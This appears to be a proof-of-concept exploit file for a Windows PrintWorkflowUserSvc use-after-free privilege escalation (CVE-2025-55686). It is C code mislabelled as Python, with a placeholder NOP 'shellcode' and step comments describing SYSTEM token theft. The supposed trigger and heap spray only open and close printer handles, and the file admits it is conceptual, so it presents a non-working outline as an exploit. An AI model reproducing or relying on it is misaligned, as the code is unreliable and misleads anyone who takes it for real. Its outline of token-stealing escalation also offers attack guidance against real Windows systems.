The following code is for security research and authorized testing only.
python
// CVE-2025-55686 - Windows PrintWorkflowUserSvc Use After Free LPE
// Proof of Concept (Educational/Research purposes only)
// Target: Windows PrintWorkflowUserSvc - Local Privilege Escalation
// Note: This is a conceptual PoC based on the vulnerability description.
#include <windows.h>
#include <stdio.h>
#include <winspool.h>
#pragma comment(lib, "winspool.lib")
// Shellcode placeholder - replace with actual token-stealing shellcode
// to steal SYSTEM token and apply to current process for privilege escalation
unsigned char shellcode[] = {
// Token stealing shellcode for Windows x64
// This shellcode typically:
// 1. Locates the current process EPROCESS structure
// 2. Finds the SYSTEM process (PID 4) EPROCESS
// 3. Copies the SYSTEM token pointer to current process
// 4. Returns to user mode with elevated privileges
0x90, 0x90, 0x90, 0x90 // NOP sled (placeholder)
};
// Function to trigger the Use After Free in PrintWorkflowUserSvc
BOOL TriggerUAF() {
HANDLE hPrinter = NULL;
PRINTER_DEFAULTS pd = {0};
pd.DesiredAccess = PRINTER_ALL_ACCESS;
// Step 1: Open a printer handle to interact with PrintWorkflowUserSvc
if (!OpenPrinter(L"Microsoft Print to PDF", &hPrinter, &pd)) {
printf("[-] Failed to open printer handle. Error: %d\n", GetLastError());
return FALSE;
}
printf("[+] Printer handle obtained: %p\n", hPrinter);
// Step 2: Send crafted print job to trigger UAF condition
// The vulnerability is triggered when specific print workflow
// operations cause premature object deallocation while references
// are still held within PrintWorkflowUserSvc
DWORD bytesNeeded = 0;
GetPrinter(hPrinter, 2, NULL, 0, &bytesNeeded);
BYTE* pBuffer = (BYTE*)malloc(bytesNeeded);
if (pBuffer && GetPrinter(hPrinter, 2, pBuffer, bytesNeeded, &bytesNeeded)) {
printf("[+] Printer information retrieved successfully\n");
}
// Step 3: Trigger the vulnerable code path
// Manipulate print job lifecycle to cause use-after-free
// by forcing object release while references persist
ClosePrinter(hPrinter);
// Step 4: Heap spray to control freed memory region
// Allocate objects of similar size to reclaim freed memory
// with attacker-controlled data containing shellcode
for (int i = 0; i < 1000; i++) {
HANDLE hFakePrinter = NULL;
OpenPrinter(L"Microsoft Print to PDF", &hFakePrinter, &pd);
// Spray heap with controlled data
if (hFakePrinter) ClosePrinter(hFakePrinter);
}
printf("[+] UAF trigger sequence completed\n");
return TRUE;
}
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-55686 PoC - PrintWorkflowUserSvc LPE\n");
printf("[*] Target: Windows PrintWorkflowUserSvc UAF\n\n");
// Check current privilege level
BOOL isElevated = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD size = sizeof(elevation);
GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &size);
isElevated = elevation.TokenIsElevated;
CloseHandle(hToken);
}
if (isElevated) {
printf("[!] Already running with elevated privileges\n");
return 0;
}
printf("[*] Current process running with standard privileges\n");
printf("[*] Attempting to trigger vulnerability...\n\n");
// Trigger the use-after-free vulnerability
if (!TriggerUAF()) {
printf("[-] Failed to trigger vulnerability\n");
return 1;
}
printf("\n[+] Exploit attempt completed\n");
printf("[*] Note: Actual exploitation requires precise heap manipulation\n");
printf("[*] and a working token-stealing shellcode for the target OS version.\n");
return 0;
}